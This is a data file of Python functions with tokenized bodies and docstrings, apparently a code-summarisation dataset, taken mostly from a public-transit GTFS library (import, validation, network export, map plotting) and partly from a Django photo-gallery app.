{"signature": "def write_temporal_network(gtfs, output_filename, start_time_ut=None, end_time_ut=None):", "body": "util.makedirs(os.path.dirname(os.path.abspath(output_filename)))<EOL>pandas_data_frame = temporal_network(gtfs, start_time_ut=start_time_ut, end_time_ut=end_time_ut)<EOL>pandas_data_frame.to_csv(output_filename, encoding='<STR_LIT:utf-8>', index=False)<EOL>", "docstring": "Parameters\n----------\ngtfs : gtfspy.GTFS\noutput_filename : str\n    path to the directory where to store the extracts\nstart_time_ut: int | None\n    start time of the extract in unixtime (seconds after epoch)\nend_time_ut: int | None\n    end time of the extract in unixtime (seconds after epoch)", "id": "f12925:m7"}
{"signature": "def _write_stop_to_stop_network_edges(net, file_name, data=True, fmt=None):", "body": "if fmt is None:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL><DEDENT>if fmt == \"<STR_LIT>\":<EOL><INDENT>if data:<EOL><INDENT>networkx.write_edgelist(net, file_name, data=True)<EOL><DEDENT>else:<EOL><INDENT>networkx.write_edgelist(net, file_name)<EOL><DEDENT><DEDENT>elif fmt == \"<STR_LIT>\":<EOL><INDENT>with open(file_name, '<STR_LIT:w>') as f:<EOL><INDENT>edge_iter = net.edges_iter(data=True)<EOL>_, _, edg_data = next(edge_iter)<EOL>edg_data_keys = list(sorted(edg_data.keys()))<EOL>header = \"<STR_LIT:;>\".join([\"<STR_LIT>\", \"<STR_LIT>\"] + edg_data_keys)<EOL>f.write(header)<EOL>for from_node_I, to_node_I, data in net.edges_iter(data=True):<EOL><INDENT>f.write(\"<STR_LIT:\\n>\")<EOL>values = [str(from_node_I), str(to_node_I)]<EOL>data_values = []<EOL>for key in edg_data_keys:<EOL><INDENT>if key == \"<STR_LIT>\":<EOL><INDENT>route_I_counts_string = str(data[key]).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\")[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>data_values.append(route_I_counts_string)<EOL><DEDENT>else:<EOL><INDENT>data_values.append(str(data[key]))<EOL><DEDENT><DEDENT>all_values = values + data_values<EOL>f.write(\"<STR_LIT:;>\".join(all_values))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Write out a network\n\nParameters\n----------\nnet: networkx.DiGraph\nbase_name: str\n    path to the filename (without extension)\ndata: bool, optional\n    whether or not to write out any edge data present\nfmt: str, optional\n    If \"csv\" write out the network in csv format.", "id": "f12925:m8"}
{"signature": "def write_gtfs(gtfs, output):", "body": "output = os.path.abspath(output)<EOL>uuid_str = \"<STR_LIT>\" + str(uuid.uuid1())<EOL>if output[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>zip = True<EOL>out_basepath = os.path.dirname(os.path.abspath(output))<EOL>if not os.path.exists(out_basepath):<EOL><INDENT>raise IOError(out_basepath + \"<STR_LIT>\")<EOL><DEDENT>tmp_dir = os.path.join(out_basepath, str(uuid_str))<EOL><DEDENT>else:<EOL><INDENT>zip = False<EOL>out_basepath = output<EOL>tmp_dir = os.path.join(out_basepath + \"<STR_LIT:_>\" + str(uuid_str))<EOL><DEDENT>os.makedirs(tmp_dir, exist_ok=True)<EOL>gtfs_table_to_writer = {<EOL>\"<STR_LIT>\": _write_gtfs_agencies,<EOL>\"<STR_LIT>\": _write_gtfs_calendar,<EOL>\"<STR_LIT>\": _write_gtfs_calendar_dates,<EOL>\"<STR_LIT>\": _write_gtfs_feed_info,<EOL>\"<STR_LIT>\": _write_gtfs_routes,<EOL>\"<STR_LIT>\": _write_gtfs_shapes,<EOL>\"<STR_LIT>\": _write_gtfs_stops,<EOL>\"<STR_LIT>\": _write_gtfs_stop_times,<EOL>\"<STR_LIT>\": _write_gtfs_transfers,<EOL>\"<STR_LIT>\": _write_gtfs_trips,<EOL>}<EOL>for table, writer in gtfs_table_to_writer.items():<EOL><INDENT>fname_to_write = os.path.join(tmp_dir, table + '<STR_LIT>')<EOL>print(fname_to_write)<EOL>writer(gtfs, open(os.path.join(tmp_dir, table + '<STR_LIT>'), '<STR_LIT:w>'))<EOL><DEDENT>if zip:<EOL><INDENT>shutil.make_archive(output[:-<NUM_LIT:4>], '<STR_LIT>', tmp_dir)<EOL>shutil.rmtree(tmp_dir)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" + str(tmp_dir) + \"<STR_LIT>\" + out_basepath)<EOL>os.rename(tmp_dir, out_basepath)<EOL><DEDENT>", "docstring": "Write out the database according to the GTFS format.\n\nParameters\n----------\ngtfs: gtfspy.GTFS\noutput: str\n    Path where to put the GTFS files\n    if output ends with \".zip\" a ZIP-file is created instead.\n\nReturns\n-------\nNone", "id": "f12925:m13"}
{"signature": "def _remove_I_columns(df):", "body": "all_columns = list(filter(lambda el: el[-<NUM_LIT:2>:] == \"<STR_LIT>\", df.columns))<EOL>for column in all_columns:<EOL><INDENT>del df[column]<EOL><DEDENT>", "docstring": "Remove columns ending with I from a pandas.DataFrame\n\nParameters\n----------\ndf: dataFrame\n\nReturns\n-------\nNone", "id": "f12925:m14"}
{"signature": "def plot_trip_counts_per_day(G, ax=None, highlight_dates=None, highlight_date_labels=None, show=False):", "body": "daily_trip_counts = G.get_trip_counts_per_day()<EOL>if ax is None:<EOL><INDENT>_fig, ax = plt.subplots()<EOL><DEDENT>daily_trip_counts[\"<STR_LIT>\"] = pandas.to_datetime(daily_trip_counts[\"<STR_LIT>\"])<EOL>daily_trip_counts.plot(\"<STR_LIT>\", \"<STR_LIT>\", kind=\"<STR_LIT>\", ax=ax, marker=\"<STR_LIT:o>\", color=\"<STR_LIT>\", ls=\"<STR_LIT::>\",<EOL>label=\"<STR_LIT>\")<EOL>ax.set_xlabel(\"<STR_LIT>\")<EOL>ax.set_ylabel(\"<STR_LIT>\")<EOL>if highlight_dates is not None:<EOL><INDENT>assert isinstance(highlight_dates, list)<EOL>if highlight_date_labels is not None:<EOL><INDENT>assert isinstance(highlight_date_labels, list)<EOL>assert len(highlight_dates) == len(highlight_date_labels), \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>highlight_date_labels = [None] * len(highlight_dates)<EOL><DEDENT>for i, (highlight_date, label) in enumerate(zip(highlight_dates, highlight_date_labels)):<EOL><INDENT>color = \"<STR_LIT:C>\" + str(int(i % <NUM_LIT:8> + <NUM_LIT:1>))<EOL>highlight_date = pandas.to_datetime(highlight_date)<EOL>ax.axvline(highlight_date, color=color, label=label)<EOL><DEDENT><DEDENT>ax.legend(loc=\"<STR_LIT>\")<EOL>ax.grid()<EOL>if show:<EOL><INDENT>plt.show()<EOL><DEDENT>return ax<EOL>", "docstring": "Parameters\n----------\nG: gtfspy.GTFS\nax: maptlotlib.Axes, optional\nhighlight_dates: list[str|datetime.datetime]\n    The values of highlight dates should represent dates, and  or datetime objects.\nhighlight_date_labels: list\n    The labels for each highlight dates.\nshow: bool, optional\n    whether or not to immediately show the results\n\nReturns\n-------\nax: maptlotlib.Axes object", "id": "f12926:m0"}
{"signature": "def __init__(self, gtfssource, gtfs, verbose=True):", "body": "if isinstance(gtfssource, string_types + (dict,)):<EOL><INDENT>self.gtfs_sources = [gtfssource]<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(gtfssource, list)<EOL>self.gtfs_sources = gtfssource<EOL><DEDENT>assert len(self.gtfs_sources) > <NUM_LIT:0>, \"<STR_LIT>\"<EOL>if not isinstance(gtfs, GTFS):<EOL><INDENT>self.gtfs = GTFS(gtfs)<EOL><DEDENT>else:<EOL><INDENT>self.gtfs = gtfs<EOL><DEDENT>self.location = self.gtfs.get_location_name()<EOL>self.warnings_container = WarningsContainer()<EOL>self.verbose=verbose<EOL>", "docstring": "Parameters\n----------\ngtfs_sources: list, string, dict\n    list of paths to the strings, or a dictionary directly containing the gtfs data directly\ngtfs: gtfspy.gtfs.GTFS, or path to a relevant .sqlite GTFS database\nverbose: bool\n    Whether or not to print warnings on-the-fly.", "id": "f12927:c0:m0"}
{"signature": "def _validate_table_row_counts(self):", "body": "for db_table_name in DB_TABLE_NAME_TO_SOURCE_FILE.keys():<EOL><INDENT>table_name_source_file = DB_TABLE_NAME_TO_SOURCE_FILE[db_table_name]<EOL>row_warning_str = DB_TABLE_NAME_TO_ROWS_MISSING_WARNING[db_table_name]<EOL>database_row_count = self.gtfs.get_row_count(db_table_name)<EOL>source_row_count = <NUM_LIT:0><EOL>for gtfs_source in self.gtfs_sources:<EOL><INDENT>frequencies_in_source = source_csv_to_pandas(gtfs_source, '<STR_LIT>')<EOL>try:<EOL><INDENT>if table_name_source_file == '<STR_LIT>' and not frequencies_in_source.empty:<EOL><INDENT>source_row_count += self._frequency_generated_trips_rows(gtfs_source)<EOL><DEDENT>elif table_name_source_file == '<STR_LIT>' and not frequencies_in_source.empty:<EOL><INDENT>source_row_count += self._compute_number_of_frequency_generated_stop_times(gtfs_source)<EOL><DEDENT>else:<EOL><INDENT>df = source_csv_to_pandas(gtfs_source, table_name_source_file)<EOL>source_row_count += len(df.index)<EOL><DEDENT><DEDENT>except IOError as e:<EOL><INDENT>if hasattr(e, \"<STR_LIT:filename>\") and db_table_name in e.filename:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT><DEDENT>if source_row_count == database_row_count and self.verbose:<EOL><INDENT>print(\"<STR_LIT>\" + table_name_source_file + \"<STR_LIT>\"<EOL>+ str(database_row_count) + \"<STR_LIT:)>\")<EOL><DEDENT>else:<EOL><INDENT>difference = database_row_count - source_row_count<EOL>('<STR_LIT>' + str(table_name_source_file) + '<STR_LIT>' + str(source_row_count) +<EOL>'<STR_LIT>' + str(database_row_count) + \"<STR_LIT:)>\")<EOL>if table_name_source_file == \"<STR_LIT>\" and difference > <NUM_LIT:0>:<EOL><INDENT>query = \"<STR_LIT>\"+ str(int(difference)) +\"<STR_LIT>\"<EOL>number_of_entries_added_by_calendar_dates_loader = self.gtfs.execute_custom_query(query).fetchone()[<EOL><NUM_LIT:0>]<EOL>if number_of_entries_added_by_calendar_dates_loader == difference and self.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if self.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>self.warnings_container.add_warning(row_warning_str, self.location, difference)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.warnings_container.add_warning(row_warning_str, self.location, difference)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Imports source .txt files, checks row counts and then compares the rowcounts with the gtfsobject\n:return:", "id": "f12927:c0:m2"}
{"signature": "def _validate_no_null_values(self):", "body": "for table in DB_TABLE_NAMES:<EOL><INDENT>null_not_ok_warning = \"<STR_LIT>\".format(table=table)<EOL>null_warn_warning = \"<STR_LIT>\".format(table=table)<EOL>null_not_ok_fields = DB_TABLE_NAME_TO_FIELDS_WHERE_NULL_NOT_OK[table]<EOL>null_warn_fields = DB_TABLE_NAME_TO_FIELDS_WHERE_NULL_OK_BUT_WARN[table]<EOL>df = self.gtfs.get_table(table)<EOL>for warning, fields in zip([null_not_ok_warning, null_warn_warning], [null_not_ok_fields, null_warn_fields]):<EOL><INDENT>null_unwanted_df = df[fields]<EOL>rows_having_null = null_unwanted_df.isnull().any(<NUM_LIT:1>)<EOL>if sum(rows_having_null) > <NUM_LIT:0>:<EOL><INDENT>rows_having_unwanted_null = df[rows_having_null.values]<EOL>self.warnings_container.add_warning(warning, rows_having_unwanted_null, len(rows_having_unwanted_null))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Loads the tables from the gtfs object and counts the number of rows that have null values in\nfields that should not be null. Stores the number of null rows in warnings_container", "id": "f12927:c0:m3"}
{"signature": "def _validate_danglers(self):", "body": "for query, warning in zip(DANGLER_QUERIES, DANGLER_WARNINGS):<EOL><INDENT>dangler_count = self.gtfs.execute_custom_query(query).fetchone()[<NUM_LIT:0>]<EOL>if dangler_count > <NUM_LIT:0>:<EOL><INDENT>if self.verbose:<EOL><INDENT>print(str(dangler_count) + \"<STR_LIT:U+0020>\" + warning)<EOL><DEDENT>self.warnings_container.add_warning(warning, self.location, count=dangler_count)<EOL><DEDENT><DEDENT>", "docstring": "Checks for rows that are not referenced in the the tables that should be linked\n\nstops <> stop_times using stop_I\nstop_times <> trips <> days, using trip_I\ntrips <> routes, using route_I\n:return:", "id": "f12927:c0:m4"}
{"signature": "def _frequency_generated_trips_rows(self, gtfs_soure_path, return_df_freq=False):", "body": "df_freq = source_csv_to_pandas(gtfs_soure_path, '<STR_LIT>')<EOL>df_trips = source_csv_to_pandas(gtfs_soure_path, \"<STR_LIT>\")<EOL>df_freq['<STR_LIT>'] = df_freq.apply(lambda row: len(range(str_time_to_day_seconds(row['<STR_LIT>']),<EOL>str_time_to_day_seconds(row['<STR_LIT>']),<EOL>row['<STR_LIT>'])), axis=<NUM_LIT:1>)<EOL>df_trips_freq = pd.merge(df_freq, df_trips, how='<STR_LIT>', on='<STR_LIT>')<EOL>n_freq_generated_trips = int(df_trips_freq['<STR_LIT>'].fillna(<NUM_LIT:1>).sum(axis=<NUM_LIT:0>))<EOL>if return_df_freq:<EOL><INDENT>return df_trips_freq<EOL><DEDENT>else:<EOL><INDENT>return n_freq_generated_trips<EOL><DEDENT>", "docstring": "This function calculates the equivalent rowcounts for trips when\ntaking into account the generated rows in the gtfs object\nParameters\n----------\ngtfs_soure_path: path to the source file\nparam txt: txt file in question\n:return: sum of all trips", "id": "f12927:c0:m5"}
{"signature": "def _compute_number_of_frequency_generated_stop_times(self, gtfs_source_path):", "body": "df_freq = self._frequency_generated_trips_rows(gtfs_source_path, return_df_freq=True)<EOL>df_stop_times = source_csv_to_pandas(gtfs_source_path, \"<STR_LIT>\")<EOL>df_stop_freq = pd.merge(df_freq, df_stop_times, how='<STR_LIT>', on='<STR_LIT>')<EOL>return int(df_stop_freq['<STR_LIT>'].fillna(<NUM_LIT:1>).sum(axis=<NUM_LIT:0>))<EOL>", "docstring": "Parameters\n----------\nSame as for \"_frequency_generated_trips_rows\" but for stop times table\ngtfs_source_path:\ntable_name:\n\nReturn\n------", "id": "f12927:c0:m6"}
{"signature": "def import_gtfs(gtfs_sources, output, preserve_connection=False,<EOL>print_progress=True, location_name=None, **kwargs):", "body": "if isinstance(output, sqlite3.Connection):<EOL><INDENT>conn = output<EOL><DEDENT>else:<EOL><INDENT>conn = sqlite3.connect(output)<EOL><DEDENT>if not isinstance(gtfs_sources, list):<EOL><INDENT>gtfs_sources = [gtfs_sources]<EOL><DEDENT>cur = conn.cursor()<EOL>time_import_start = time.time()<EOL>cur.execute('<STR_LIT>')<EOL>cur.execute('<STR_LIT>')<EOL>cur.execute('<STR_LIT>')<EOL>cur.execute('<STR_LIT>')<EOL>conn.isolation_level = None  <EOL>cur.execute('<STR_LIT>')<EOL>cur.execute('<STR_LIT>')<EOL>conn.isolation_level = '<STR_LIT>'    <EOL>loaders = [L(gtfssource=gtfs_sources, print_progress=print_progress, **kwargs) for L in Loaders]<EOL>for loader in loaders:<EOL><INDENT>loader.assert_exists_if_required()<EOL><DEDENT>for loader in loaders:<EOL><INDENT>loader.import_(conn)<EOL><DEDENT>for Loader in loaders:<EOL><INDENT>Loader.post_import_round2(conn)<EOL><DEDENT>for Loader in loaders:<EOL><INDENT>Loader.make_views(conn)<EOL><DEDENT>for F in postprocessors:<EOL><INDENT>F(conn)<EOL><DEDENT>from gtfspy import gtfs as mod_gtfs<EOL>G = mod_gtfs.GTFS(output)<EOL>G.meta['<STR_LIT>'] = time.time()<EOL>G.meta['<STR_LIT>'] = time.ctime()<EOL>G.meta['<STR_LIT>'] = time.time() - time_import_start<EOL>G.meta['<STR_LIT>'] = '<STR_LIT>'<EOL>G.meta['<STR_LIT>'] = '<STR_LIT>'<EOL>G.meta['<STR_LIT>'] = len(gtfs_sources)<EOL>download_date_strs = []<EOL>for i, source in enumerate(gtfs_sources):<EOL><INDENT>if len(gtfs_sources) == <NUM_LIT:1>:<EOL><INDENT>prefix = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>prefix = \"<STR_LIT>\" + str(i) + \"<STR_LIT:_>\"<EOL><DEDENT>if isinstance(source, string_types):<EOL><INDENT>G.meta[prefix + '<STR_LIT>'] = decode_six(source) if source else None<EOL>filename_date_list = re.findall(r'<STR_LIT>', source)<EOL>if filename_date_list:<EOL><INDENT>date_str = filename_date_list[-<NUM_LIT:1>]<EOL>G.meta[prefix + '<STR_LIT>'] = date_str<EOL>download_date_strs.append(date_str)<EOL><DEDENT>if location_name:<EOL><INDENT>G.meta['<STR_LIT>'] = location_name<EOL><DEDENT>else:<EOL><INDENT>location_name_list = re.findall(r'<STR_LIT>', source)<EOL>if location_name_list:<EOL><INDENT>G.meta[prefix + '<STR_LIT>'] = location_name_list[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>G.meta[prefix + '<STR_LIT>'] = source.split(\"<STR_LIT:/>\")[-<NUM_LIT:4>]<EOL><DEDENT>except:<EOL><INDENT>G.meta[prefix + '<STR_LIT>'] = source<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if G.meta['<STR_LIT>'] == \"<STR_LIT>\":<EOL><INDENT>unique_download_dates = list(set(download_date_strs))<EOL>if len(unique_download_dates) == <NUM_LIT:1>:<EOL><INDENT>G.meta['<STR_LIT>'] = unique_download_dates[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>G.meta['<STR_LIT>'] = cur.execute('<STR_LIT>').fetchone()[<NUM_LIT:0>]<EOL>stats.update_stats(G)<EOL>del G<EOL>if print_progress:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>conn.isolation_level = None  <EOL>cur.execute('<STR_LIT>')<EOL>conn.isolation_level = '<STR_LIT>'    <EOL>if print_progress:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cur.execute('<STR_LIT>')<EOL>if not (preserve_connection is True):<EOL><INDENT>conn.close()<EOL><DEDENT>", "docstring": "Import a GTFS database\n\n    gtfs_sources: str, dict, list\n        Paths to the gtfs zip file or to the directory containing the GTFS data.\n        Alternatively, a dict can be provide that maps gtfs filenames\n        (like 'stops.txt' and 'agencies.txt') to their string presentations.\n\n    output: str or sqlite3.Connection\n        path to the new database to be created, or an existing\n        sqlite3 connection\n    preserve_connection: bool, optional\n        Whether to close the connection in the end, or not.\n    print_progress: bool, optional\n        Whether to print progress output\n    location_name: str, optional\n        set the location of this database", "id": "f12928:m0"}
{"signature": "def validate_day_start_ut(conn):", "body": "G = GTFS(conn)<EOL>cur = conn.execute('<STR_LIT>')<EOL>for date, day_start_ut in cur:<EOL><INDENT>assert day_start_ut == G.get_day_start_ut(date)<EOL><DEDENT>", "docstring": "This validates the day_start_ut of the days table.", "id": "f12928:m1"}
{"signature": "def main_make_views(gtfs_fname):", "body": "print(\"<STR_LIT>\")<EOL>conn = GTFS(fname_or_conn=gtfs_fname).conn<EOL>for L in Loaders:<EOL><INDENT>L(None).make_views(conn)<EOL><DEDENT>conn.commit()<EOL>", "docstring": "Re-create all views.", "id": "f12928:m2"}
{"signature": "def plot_route_network_from_gtfs(g, ax=None, spatial_bounds=None, map_alpha=<NUM_LIT>, scalebar=True, legend=True,<EOL>return_smopy_map=False, map_style=None):", "body": "assert(isinstance(g, GTFS))<EOL>route_shapes = g.get_all_route_shapes()<EOL>if spatial_bounds is None:<EOL><INDENT>spatial_bounds = get_spatial_bounds(g, as_dict=True)<EOL><DEDENT>if ax is not None:<EOL><INDENT>bbox = ax.get_window_extent().transformed(ax.figure.dpi_scale_trans.inverted())<EOL>width, height = bbox.width, bbox.height<EOL>spatial_bounds = _expand_spatial_bounds_to_fit_axes(spatial_bounds, width, height)<EOL><DEDENT>return plot_as_routes(route_shapes,<EOL>ax=ax,<EOL>spatial_bounds=spatial_bounds,<EOL>map_alpha=map_alpha,<EOL>plot_scalebar=scalebar,<EOL>legend=legend,<EOL>return_smopy_map=return_smopy_map,<EOL>map_style=map_style)<EOL>", "docstring": "Parameters\n----------\ng: A gtfspy.gtfs.GTFS object\n    Where to get the data from?\nax: matplotlib.Axes object, optional\n    If None, a new figure and an axis is created\nspatial_bounds: dict, optional\n    with str keys: lon_min, lon_max, lat_min, lat_max\nreturn_smopy_map: bool, optional\n    defaulting to false\n\nReturns\n-------\nax: matplotlib.axes.Axes", "id": "f12929:m1"}
{"signature": "def plot_as_routes(route_shapes, ax=None, spatial_bounds=None, map_alpha=<NUM_LIT>, plot_scalebar=True, legend=True,<EOL>return_smopy_map=False, line_width_attribute=None, line_width_scale=<NUM_LIT:1.0>, map_style=None):", "body": "lon_min = spatial_bounds['<STR_LIT>']<EOL>lon_max = spatial_bounds['<STR_LIT>']<EOL>lat_min = spatial_bounds['<STR_LIT>']<EOL>lat_max = spatial_bounds['<STR_LIT>']<EOL>if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>smopy_map = get_smopy_map(lon_min, lon_max, lat_min, lat_max, map_style=map_style)<EOL>ax = smopy_map.show_mpl(figsize=None, ax=ax, alpha=map_alpha)<EOL>bound_pixel_xs, bound_pixel_ys = smopy_map.to_pixels(numpy.array([lat_min, lat_max]),<EOL>numpy.array([lon_min, lon_max]))<EOL>route_types_to_lines = {}<EOL>for shape in route_shapes:<EOL><INDENT>route_type = ROUTE_TYPE_CONVERSION[shape['<STR_LIT:type>']]<EOL>lats = numpy.array(shape['<STR_LIT>'])<EOL>lons = numpy.array(shape['<STR_LIT>'])<EOL>if line_width_attribute:<EOL><INDENT>line_width = line_width_scale * shape[line_width_attribute]<EOL><DEDENT>else:<EOL><INDENT>line_width = <NUM_LIT:1><EOL><DEDENT>xs, ys = smopy_map.to_pixels(lats, lons)<EOL>line, = ax.plot(xs, ys, linewidth=line_width, color=ROUTE_TYPE_TO_COLOR[route_type], zorder=ROUTE_TYPE_TO_ZORDER[route_type])<EOL>route_types_to_lines[route_type] = line<EOL><DEDENT>if legend:<EOL><INDENT>lines = list(route_types_to_lines.values())<EOL>labels = [ROUTE_TYPE_TO_SHORT_DESCRIPTION[route_type] for route_type in route_types_to_lines.keys()]<EOL>ax.legend(lines, labels, loc=\"<STR_LIT>\")<EOL><DEDENT>if plot_scalebar:<EOL><INDENT>_add_scale_bar(ax, lat_max, lon_min, lon_max, bound_pixel_xs.max() - bound_pixel_xs.min())<EOL><DEDENT>ax.set_xticks([])<EOL>ax.set_yticks([])<EOL>ax.set_xlim(bound_pixel_xs.min(), bound_pixel_xs.max())<EOL>ax.set_ylim(bound_pixel_ys.max(), bound_pixel_ys.min())<EOL>if return_smopy_map:<EOL><INDENT>return ax, smopy_map<EOL><DEDENT>else:<EOL><INDENT>return ax<EOL><DEDENT>", "docstring": "Parameters\n----------\nroute_shapes: list of dicts that should have the following keys\n        name, type, agency, lats, lons\n        with types\n        list, list, str, list, list\nax: axis object\nspatial_bounds: dict\nmap_alpha:\nplot_scalebar: bool\nlegend:\nreturn_smopy_map:\nline_width_attribute:\nline_width_scale:\n\nReturns\n-------\nax: matplotlib.axes object", "id": "f12929:m2"}
{"signature": "def _expand_spatial_bounds_to_fit_axes(bounds, ax_width, ax_height):", "body": "b = bounds<EOL>height_meters = util.wgs84_distance(b['<STR_LIT>'], b['<STR_LIT>'], b['<STR_LIT>'], b['<STR_LIT>'])<EOL>width_meters = util.wgs84_distance(b['<STR_LIT>'], b['<STR_LIT>'], b['<STR_LIT>'], b['<STR_LIT>'])<EOL>x_per_y_meters = width_meters / height_meters<EOL>x_per_y_axes = ax_width / ax_height<EOL>if x_per_y_axes > x_per_y_meters:  <EOL><INDENT>width_meters_new = (height_meters * x_per_y_axes)<EOL>d_lon_new = ((b['<STR_LIT>'] - b['<STR_LIT>']) / width_meters) * width_meters_new<EOL>mean_lon = (b['<STR_LIT>'] + b['<STR_LIT>'])/<NUM_LIT><EOL>lon_min = mean_lon - d_lon_new / <NUM_LIT><EOL>lon_max = mean_lon + d_lon_new / <NUM_LIT><EOL>spatial_bounds = {<EOL>\"<STR_LIT>\": lon_min,<EOL>\"<STR_LIT>\": lon_max,<EOL>\"<STR_LIT>\": b['<STR_LIT>'],<EOL>\"<STR_LIT>\": b['<STR_LIT>']<EOL>}<EOL><DEDENT>else:<EOL><INDENT>height_meters_new = (width_meters / x_per_y_axes)<EOL>d_lat_new = ((b['<STR_LIT>'] - b['<STR_LIT>']) / height_meters) * height_meters_new<EOL>mean_lat = (b['<STR_LIT>'] + b['<STR_LIT>']) / <NUM_LIT><EOL>lat_min = mean_lat - d_lat_new / <NUM_LIT><EOL>lat_max = mean_lat + d_lat_new / <NUM_LIT><EOL>spatial_bounds = {<EOL>\"<STR_LIT>\": b['<STR_LIT>'],<EOL>\"<STR_LIT>\": b['<STR_LIT>'],<EOL>\"<STR_LIT>\": lat_min,<EOL>\"<STR_LIT>\": lat_max<EOL>}<EOL><DEDENT>return spatial_bounds<EOL>", "docstring": "Parameters\n----------\nbounds: dict\nax_width: float\nax_height: float\n\nReturns\n-------\nspatial_bounds", "id": "f12929:m5"}
{"signature": "def plot_all_stops(g, ax=None, scalebar=False):", "body": "assert(isinstance(g, GTFS))<EOL>lon_min, lon_max, lat_min, lat_max = get_spatial_bounds(g)<EOL>smopy_map = get_smopy_map(lon_min, lon_max, lat_min, lat_max)<EOL>if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>ax = smopy_map.show_mpl(figsize=None, ax=ax, alpha=<NUM_LIT>)<EOL>stops = g.stops()<EOL>lats = numpy.array(stops['<STR_LIT>'])<EOL>lons = numpy.array(stops['<STR_LIT>'])<EOL>xs, ys = smopy_map.to_pixels(lats, lons)<EOL>ax.scatter(xs, ys, color=\"<STR_LIT>\", s=<NUM_LIT:10>)<EOL>ax.set_xlim(min(xs), max(xs))<EOL>ax.set_ylim(max(ys), min(ys))<EOL>return ax<EOL>", "docstring": "Parameters\n----------\ng: A gtfspy.gtfs.GTFS object\nax: matplotlib.Axes object, optional\n    If None, a new figure and an axis is created, otherwise results are plotted on the axis.\nscalebar: bool, optional\n    Whether to include a scalebar to the plot.\n\nReturns\n-------\nax: matplotlib.Axes", "id": "f12929:m9"}
{"signature": "def __init__(self, gtfs, buffer_params=None):", "body": "if not isinstance(gtfs, GTFS):<EOL><INDENT>self.gtfs = GTFS(gtfs)<EOL><DEDENT>else:<EOL><INDENT>self.gtfs = gtfs<EOL><DEDENT>self.buffer_params = buffer_params<EOL>self.warnings_container = WarningsContainer()<EOL>", "docstring": "Parameters\n----------\ngtfs: GTFS, or path to a GTFS object\n    A GTFS object", "id": "f12930:c0:m0"}
{"signature": "def validate_and_get_warnings(self):", "body": "self.warnings_container.clear()<EOL>self._validate_stops_with_same_stop_time()<EOL>self._validate_speeds_and_trip_times()<EOL>self._validate_stop_spacings()<EOL>self._validate_stop_sequence()<EOL>self._validate_misplaced_stops()<EOL>return self.warnings_container<EOL>", "docstring": "Validates/checks a given GTFS feed with respect to a number of different issues.\n\nThe set of warnings that are checked for, can be found in the gtfs_validator.ALL_WARNINGS\n\nReturns\n-------\nwarnings: WarningsContainer", "id": "f12930:c0:m1"}
{"signature": "def get_queryset(self, request):", "body": "qs = super(GalleryAdmin, self).get_queryset(request)<EOL>return qs.annotate(photo_count=Count('<STR_LIT>'))<EOL>", "docstring": "Add number of photos to each gallery.", "id": "f12946:c1:m1"}
{"signature": "def save_model(self, request, obj, form, change):", "body": "obj.author = request.user<EOL>obj.save()<EOL>", "docstring": "Set currently authenticated user as the author of the gallery.", "id": "f12946:c1:m2"}
{"signature": "def save_formset(self, request, form, formset, change):", "body": "instances = formset.save(commit=False)<EOL>for instance in instances:<EOL><INDENT>if isinstance(instance, Photo):<EOL><INDENT>instance.author = request.user<EOL><DEDENT>instance.save()<EOL><DEDENT>", "docstring": "For each photo set it's author to currently authenticated user.", "id": "f12946:c1:m3"}
{"signature": "@register.simple_tag<EOL>def get_recent_galleries(count=<NUM_LIT:3>):", "body": "return Gallery.objects.published().order_by('<STR_LIT>')[:count]<EOL>", "docstring": "Returns most recent galleries.", "id": "f12947:m0"}
{"signature": "@register.simple_tag<EOL>def get_gallery_archive_dates():", "body": "return Gallery.objects.published().dates('<STR_LIT>', '<STR_LIT>', order='<STR_LIT>')<EOL>", "docstring": "Returns datetime objects for all months in which galleries were added.", "id": "f12947:m1"}
{"signature": "@register.simple_tag<EOL>def get_popular_tags(count=<NUM_LIT:10>):", "body": "return Photo.objects.popular_tags(count)<EOL>", "docstring": "Returns most popular tags.", "id": "f12947:m2"}
{"signature": "def __str__(self):", "body": "return self.title<EOL>", "docstring": "The string representation of a gallery is its title.", "id": "f12958:c1:m0"}
{"signature": "def __str__(self):", "body": "return self.title<EOL>", "docstring": "The string representation of a photo is its title.", "id": "f12958:c3:m0"}
{"signature": "def save(self, *args, **kwargs):", "body": "<EOL>try:<EOL><INDENT>img = Image.open(self.image.file)<EOL>raw_exif = img._getexif()<EOL>if raw_exif:<EOL><INDENT>self.exif = {ExifTags.TAGS[k]: sanitize_exif_value(k, v) for k, v in raw_exif.items() if k in ExifTags.TAGS}<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>super(Photo, self).save(*args, **kwargs)<EOL>", "docstring": "Updates EXIF data before saving.", "id": "f12958:c3:m1"}
